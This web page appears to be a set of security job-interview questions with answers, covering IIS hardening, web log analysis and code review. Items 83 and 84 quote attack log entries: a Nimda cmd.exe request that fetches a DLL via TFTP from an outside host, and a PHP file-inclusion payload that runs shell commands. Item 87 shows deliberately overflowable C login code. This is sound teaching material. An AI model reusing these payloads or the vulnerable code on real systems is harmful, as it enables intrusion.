Computer Security Questions And Answers

81⟩ How do I secure Windows 2000 and IIS 5.0?

Security is a huge concern for anyone involved in business processes, management, and administration. A good resource of information on maintaining security in Windows 2000 and IIS is the security section of the Windows 2000 site. Also see Internet Information Services (IIS) on the Microsoft TechNet site, where you can find information on securing IIS servers in addition to resources that will help you maintain a secure system and stay current with any releases, updates, and tools.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

215 views

82⟩ What online resources do you use to keep abreast of web security issues? Can you give an example of a recent web security vulnerability or threat?

Note: Goal of question – Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT. Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

252 views

83⟩ Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?

Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/

cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/

cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:httpodbc.dll HTTP/1.0" 200 566 "-" "-"

Note: Goal of question – To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?

You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

238 views

84⟩ What application generated the log file entry below? What type of attack is this?

What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?

========================================

Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743

Handler: cgi-script

----------------------------------------

POST /index.php HTTP/1.1

Host: www.foo.com

Connection: keep-alive

Accept: */*

Accept-Language: en-us

Content-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla 4.0 (Linux)

Content-Length: 65

X-Forwarded-For: 200.158.8.207

mod_security-message: Access denied with code 403. Pattern match "unamex20-a" at POST_PAYLOAD

mod_security-action: 403

65

lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a

----------------------------------------

Note: Goal of question – to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:

· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname –a" data in the POST PAYLOAD.

· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

230 views

85⟩ What is the Microsoft Baseline Security Analyzer?

The Microsoft Baseline Security Analyzer (MBSA) is a graphical and command-line interface developed by Microsoft that can perform local or remote scans of Windows systems, assessing any missing hotfixes and vulnerabilities in certain Microsoft products. See the Microsoft Baseline Security Analyzer page on TechNet for more information.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

229 views

86⟩ What is the IIS Lockdown Tool?

This tool is part of the IIS Lockdown Wizard and it works by turning off unnecessary features of the IIS server and thereby reducing the attack surface available to an attacker. This tool also works in conjunction with URLscan to provide multiple layers of defense and protection. See the IIS Lockdown Tool page on TechNet describes its features and characteristics as well as provides steps for download and setup.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

204 views

87⟩ The file is called logon_validate and a typical logon request looks like this?

You have been asked to review the source code for a compiled script that is being used to validate logon credentials for a web application. The file is called "logon_validate" and a typical logon request looks like this –

"GET /cgi-bin/logon_validate?login=test&password=test"

The source code is shown below –

void show_error(void) {

// AUTHENTICATION ERROR

exit(-1);

}

int main(int argc, char **argv) {

char error_on_auth='1';

char user[128];

char pass[128];

char *ch_ptr_begin;

char *ch_ptr_end;

/**********************************/

/* Get Username from Query String */

/**********************************/

ch_ptr_begin=(char *)strstr

(****QUERY_STRING****,"login=");

if (ch_ptr_begin==NULL)

show_error();

ch_ptr_begin+=6;

ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");

if (ch_ptr_end==NULL)

show_error();

*(ch_ptr_end++)='';

strcpy(user,ch_ptr_begin);

/**********************************/

/* Get Password from Query String */

/**********************************/

ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");

if (ch_ptr_begin==NULL)

show_error();

ch_ptr_begin+=9;

ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");

if (ch_ptr_end!=NULL) *(ch_ptr_end++)='';

strcpy(pass,ch_ptr_begin);

if ((strcmp(user,GOOD_USER)==0) &&

(strcmp(pass,GOOD_PASS)==0))

error_on_auth='0';

if (error_on_auth=='0') {

// AUTHENTICATION OK!!

} else {

// AUTHENTICATION ERROR

show_error();

}

// return(0); hehe could be evil ;PPPPP

exit(0);

}

This pseudo-code is taken from the NGSec Web Auth Games

http://quiz.ngsec.biz:8080/game1/level6/replicant.php

Do you see any problems with this script?

How could an attacker exploit this script to bypass

the authentication mechanisms in this script?

What are some mitigation options?

Note: Goal of question – This is most likely the most complex question being asked during the interview due to the fact that the applicant will need to apply multiple layers of analysis, including both the attacker and defender perspectives.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

190 views

88⟩ What will happen if, when the firewall runs out of queue space, it blocks further syn packets?

Is this answer helpful? 0 Yes | 0 No

Answer This Question

231 views

89⟩ How can I secure my client computers against my users?

One way to make it harder for the local user to do any harm to the system is to have a local PC without any hard disk or floppy disk. To boot, the system will need to talk to a boot server over the network.

Is this answer helpful? 0 Yes | 0 No

Answer This Question

205 views

Computer security

Home Basic Common Computer security

89 Computer Security Questions And Answers

81⟩ How do I secure Windows 2000 and IIS 5.0?

82⟩ What online resources do you use to keep abreast of web security issues? Can you give an example of a recent web security vulnerability or threat?

83⟩ Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?

84⟩ What application generated the log file entry below? What type of attack is this?

85⟩ What is the Microsoft Baseline Security Analyzer?

86⟩ What is the IIS Lockdown Tool?

87⟩ The file is called logon_validate and a typical logon request looks like this?

88⟩ What will happen if, when the firewall runs out of queue space, it blocks further syn packets?

89⟩ How can I secure my client computers against my users?

Quick Links:

Computer security

Home Basic Common Computer security

89 Computer Security Questions And Answers

81⟩ How do I secure Windows 2000 and IIS 5.0?

82⟩ What online resources do you use to keep abreast of web security issues? Can you give an example of a recent web security vulnerability or threat?

83⟩ Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened?

84⟩ What application generated the log file entry below? What type of attack is this?

85⟩ What is the Microsoft Baseline Security Analyzer?

86⟩ What is the IIS Lockdown Tool?

87⟩ The file is called logon_validate and a typical logon request looks like this?

88⟩ What will happen if, when the firewall runs out of queue space, it blocks further syn packets?

89⟩ How can I secure my client computers against my users?

BE THE FIRST TO KNOW

Quick Links: